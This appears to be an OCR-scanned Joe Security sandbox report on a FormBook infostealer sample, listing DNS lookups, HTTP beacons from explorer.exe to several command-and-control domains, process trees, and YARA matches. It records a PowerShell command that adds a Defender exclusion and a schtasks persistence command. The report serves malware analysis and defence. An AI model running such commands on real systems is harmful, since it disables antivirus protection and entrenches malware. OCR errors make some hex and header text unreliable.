104.21.4.114

172.67.132.7

34.102.136.180

103.118.81.108

34.102.136.180

142.250.203.115

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0Xx0001)
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e www.sharpstead.com

e www.maikoufarm.com

* www.septemberstockevent200.com

o www.joye.club

e www.mmj0115.xyz

e www.miabellavita.com

e www.yungbredda.com

e www.mattlambert.xyz

HTTP Packets

Session ID Source IP
0 192.168.2.7

kBytes
Timestamp transferred
Nov 9, 2021 5058

12:57:17.665894032 CET

Nov 9, 2021 5100
12:57:17.870632887 CET

Session ID Source IP
1 192.168.2.7

kBytes
Timestamp transferred
Nov 9, 2021 5345

12:57:23.410603046 CET

Nov 9, 2021 5346
12:57:23.685393095 CET

Copyright Joe Security LLC 2021

Source Port

49794

Direction

ouT

Source Port
49815

Direction
ouT

Destination IP Destination Port Process

44.227.65.245 80 C:\Windows\explorer.exe

Data

GET /ht08/?iJB=mF30mN7A1kBKKp3mrHfcBE8aj8d3j5TIPkte VWKSLKWLOx2hCorpOf84nkcbs5VIH8t4m4OIHQ=
=&IfNL=N8ph5BwH HTTP/1.1

Host: www.sharpstead.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 307 Temporary Redirect

Server: openresty

Date: Tue, 09 Nov 2021 11:57:17 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 168

Connection: close

Location: http://sharpstead.com

X-Frame-Options: sameorigin

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52
65 64 69 72 65 63 74 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3¢ 63 65 6e 74 65 72 3e
3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e
0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79
3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</
h1></center><hr><center>openresty</center></body></html>

Destination IP  Destination Port Process
118.27.122.222 80 C:\Windows\explorer.exe

Data

GET /ht08/?iJB=Nn3GQotxroHeSkioJYlyOg7hZYbVcqG0YP1z9npFKY7KnSOBRhEQeIRIFIOMVZ+9dT/G4+QuxQ=
=&IfNL=N8ph5BwH HTTP/1.1

Host: www.maikoufarm.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Tue, 09 Nov 2021 11:57:23 GMT

Content-Type: text/html

Content-Length: 162

Connection: close

Location: https://www.maikoufarm.com/ht08/?iJB=Nn3GQotxroHeSkioJYlyOg7hZYbVcqG0YP1z9npFKY7KnSOBRhEQe
9RIFIOMVZ+9dT/G4+QaxQ==&IfNL=N8ph5BWH

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3¢
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68
74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</tittle></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>nginx</center></body></htm|>
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Session ID

2

Timestamp

Nov 9, 2021
12:57:29.013758898 CET

Nov 9, 2021
12:57:29.071464062 CET

Session ID

3

Timestamp

Nov 9, 2021
12:57:34.168477058 CET

Nov 9, 2021
12:57:34.283009052 CET

Session ID
4

Timestamp

Nov 9, 2021
12:57:39.595240116 CET

Nov 9, 2021
12:57:40.172657967 CET

Source IP

192.168.2.7
kBytes

transferred

5347

5347

Source IP

192.168.2.7
kBytes

transferred

5355

5356

Source IP
192.168.2.7

kBytes

transferred
5368

5368

Copyright Joe Security LLC 2021

Source Port

49816

Direction

ouT

Source Port

49818

Direction

ouT

Source Port
49821

Direction
ouT

ouT

Destination IP Destination Port Process

172.67.188.247 80 C:\Windows\explorer.exe

Data

GET /ht08/?iJB=YVcVQnADBOXtkizi8PwpXZC8MGRy3pUK9Tt3i8wwHZUtpCp/3ZP4J1retOs095pi3Qz1GtSatg=
=&IfNL=N8ph5BwWH HTTP/1.1

Host: www.septemberstockevent200.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Moved Temporarily

Date: Tue, 09 Nov 2021 11:57:29 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Location: https://signup.stansberryresearch.com/?cid=MKT575714&eid=MKT576461

Report-To: {"endpoints":[{"url":"https:VV/a.nel.cloudflare.com\/report\/v3?s=eaxnl2g1qB4EKNecpVvmEZi95fe%2FGS
pvnSEEKHNf8qw46BnT2fmXbfofgVul9f4AGBFQVMjjinPSXjH%2BIlqUzgjL3c0AeV{%2BgzaGX0zYcrmgmh7iKR6zHtT
A8VRG1dd%2BMA%2FIBGDLVQIOPIAIJ4zcKEZgmU%3D"}], "group”:"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6ab6dd206aed4c32-AMS

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /ht08/?1JB=fVUe8feYpN4PFMr+KvtZZrG4xoghHK64bhP/N9fXdzCzpP/t7mUgEUqRNIKHZLETABK8BCcDy+g=
=&IfNL=N8ph5BwH HTTP/1.1

Host: www.joye.club

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Tue, 09 Nov 2021 11:57:34 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6182ae77-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

101.132.116.91 80 C:\Windows\explorer.exe

Data

GET /ht08/?2iJB=wOE3x7GIWdnAHRhNI1Z2es1853h2m7xTnUUyaHfOEMpp2ij5NZFAPBiYMZ80DaliVaPeuYXsZg=
=&IfNL=N8ph5BwH HTTP/1.1

Host: www.mmj0115.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

GET /ht08/?1JB=wOE3x7GIWdnAHRhnI1Z2es1853h2m7xTnUUyaHfOEMpp2ij5NZFAPBiYMZ80Da0liVaPeuY XsZg=
=&IfNL=N8ph5BwH HTTP/1.1

Host: www.mmj0115.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Nov 9, 2021
12:57:40.442859888 CET

Session ID

5

Timestamp

Nov 9, 2021
12:57:57.423017979 CET

Nov 9, 2021
12:57:57.453866005 CET

Session ID
6

Timestamp

Nov 9, 2021
12:58:02.526216030 CET

Nov 9, 2021
12:58:02.641443968 CET

kBytes
transferred

5368

Source IP

192.168.2.7
kBytes

transferred

5431

5431

Source IP
192.168.2.7

kBytes

transferred
5432

5433

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49847

Direction

ouT

Source Port
49848

Direction
ouT

Data

HTTP/1.1 404 Not Found

Date: Tue, 09 Nov 2021 11:57:40 GMT

Server: Apache

X-Frame-Options: SAMEORIGIN

Content-Length: 203

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3¢ 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 74 30 38 2f 20 77 61 73
20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68
74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /ht08/ was not found on this server.</p></body></html>

Destination IP Destination Port Process

104.21.4.114 80 C:\Windows\explorer.exe

Data

GET /ht08/?iJB=7p5yDMcVtDK+2VMLZex1Kw5Dal8n+amtJoDm972Jkr9Bm60POM+PHzWXusl+HrepgAW+ZRiK3Q=
=&IfNL=N8ph5BwWH HTTP/1.1

Host: www.miabellavita.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Tue, 09 Nov 2021 11:57:57 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Tue, 09 Nov 2021 12:57:57 GMT

Location: https://www.miabellavita.com/ht08/?iJB=7p5yDMcVtDK+2VMLZex1Kw5Dal.8n+amtJoDm972Jkr9Bm6oPOM+
PHzWXusl+HrepgAW+ZRiK3Q==&IfNL=N8ph5BwH

Report-To: {"endpoints”:[{"url":"https:V\/a.nel.cloudflare.comVireport\\v3?s=ngg2DCxHyWdHCXKO0qg T%2Fa3%2Bm%2FY
tgmG%2F9iEyO3FQ5JEPbD7Xr7ssk1bZaOLRNXkbYFzaeZv%2Fc0jfh9clJoMzews%2FjFgr2Wr3ehCnXGjgq50WhiMn
5NSYSmW?7je%2F8SZPq1zUIQ6xutJCw%3D%3D"}],"group”:"cf-nel”,"max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6ab6dddi1fcd05c7a-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP  Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /ht08/?iJB=h33|U5xP+CsHIX0jyOd12cEn3mj+DYpLQqBt2JgN37c56kNOSV5/h9LYmBRB0oOLSRIylinxRVA=
=&IfNL=N8ph5BwH HTTP/1.1

Host: www.yungbredda.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Tue, 09 Nov 2021 11:58:02 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6182ac26-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>
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Session ID Source IP

7 192.168.2.7

kBytes
Timestamp transferred
Nov 9, 2021 5442

12:58:13.562832117 CET

Nov 9, 2021 5442
12:58:13.678078890 CET

Code Manipulations

Statistics

Behavior

Source Port

49851

Direction

ouT

Q Click to jump to process

System Behavior

Destination IP Destination Port Process

34.102.136.180 80

Data

C:\Windows\explorer.exe

GET /ht08/?iJB=tWyE4dKPScuS56voJaD4LHzf4AKVLRr2HjGj+VImFA/OBKTQ5rlgiVQpU1linoYX1Wdu+PEboiA=
=&IfNL=N8ph5BwWH HTTP/1.1

Host: www.mattlambert.xyz
Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden
Server: openresty

Date: Tue, 09 Nov 2021 11:58:13 GMT

Content-Type: text/html
Content-Length: 275
ETag: "6185407¢c-113"
Via: 1.1 google
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3¢
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e

Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</titte></head><body>
<h1>Access Forbidden</h1></body></html>

Analysis Process: vbc.exe PID: 6420 Parent PID: 1596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

12:56:02

09/11/2021
C:\Users\user\Desktop\vbc.exe

true

"C:\Users\user\Desktop\vbc.exe"

0x6f0000

368640 bytes
C4A1BDD685E346B7604F93357A922875
true

true

.Net C# or VB.NET
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Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.264514879.0000000003AA9000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000000.00000002.264514879.0000000003AA9000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.264514879.0000000003AA9000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000000.00000002.264277671.0000000002AA1000.00000004.00000001.sdmp, Author:

Joe Security
Reputation: low
File Activities Show Windows behavior
File Created
File Deleted
File Written
File Read
Analysis Process: powershell.exe PID: 6604 Parent PID: 6420
General
Start time: 12:56:05
Start date: 09/11/2021
Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): true
Commandline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -Exc
lusionPath "C:\Users\user\AppData\Roaming\uZlkYhlkeLeaKC.exe
Imagebase: 0x1110000
File size: 430592 bytes
MD5 hash: DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Reputation: high
File Activities Show Windows behavior
File Created
File Deleted
File Written
File Read

Analysis Process: conhost.exe PID: 6612 Parent PID: 6604

General

Start time: 12:56:06

Start date: 09/11/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

0x7ff774ee0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
true

true

C, C++ or other language

Reputation: high
Analysis Process: schtasks.exe PID: 6624 Parent PID: 6420
General
Start time: 12:56:06
Start date: 09/11/2021
Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uZlkYhlkeLeaKC" /XML "C:\
Users\user\AppData\Local\Temp\tmpAA68.tmp

0xc00000

185856 bytes
15FF7D8324231381BAD48A052F85DF04
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: conhost.exe PID: 6760 Parent PID: 6624

General

Start time: 12:56:07

Start date: 09/11/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff774ee0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: vbc.exe PID: 6824 Parent PID: 6420
General
Start time: 12:56:08
Start date: 09/11/2021
Path: C:\Users\user\Desktop\vbc.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\Desktop\vbc.exe
Imagebase: 0x7ff6e70f0000
File size: 368640 bytes
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MDS5 hash: C4A1BDD685E346B7604F93357A922875
Has elevated privileges: true

Has administrator privileges: true

Programmed in:

Yara matches:

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.343817848.00000000012F0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.343817848.00000000012F0000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.343817848.00000000012F0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000000.261930236.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000000.261930236.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000000.261930236.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000000.261342946.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000000.261342946.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000000.261342946.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.343872613.0000000001320000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.343872613.0000000001320000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.343872613.0000000001320000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.342880104.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.342880104.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.342880104.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 3292 Parent PID: 6824

General

Start time: 12:56:11

Start date: 09/11/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

false

C:\Windows\Explorer.EXE
0x7ff662bf0000
3933184 bytes

AD5296B280E8F522A8A897C96BABOE1D
true
true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000000.296889219.000000000E75A000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000000.296889219.000000000E75A000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000000.296889219.000000000E75A000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000000.312766069.000000000E75A000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000000.312766069.000000000E75A000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000000.312766069.000000000E75A000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high
File Activities Show Windows behavior
Analysis Process: help.exe PID: 6756 Parent PID: 3292

General

Start time: 12:56:45

Start date: 09/11/2021

Path: C:\Windows\SysWOW64\help.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Read

Copyright Joe Security LLC 2021

true

C:\Windows\SysWOW64\help.exe
0x120000

10240 bytes
09A715036F14D3632AD03B52D1DA6BFF
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000014.00000002.513280768.0000000002B40000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000014.00000002.513280768.0000000002B40000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000014.00000002.513280768.0000000002B40000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000014.00000002.512917942.0000000002A40000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000014.00000002.512917942.0000000002A40000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000014.00000002.512917942.0000000002A40000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000014.00000002.511655958.0000000000270000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000014.00000002.511655958.0000000000270000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000014.00000002.511655958.0000000000270000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

moderate

Show Windows behavior
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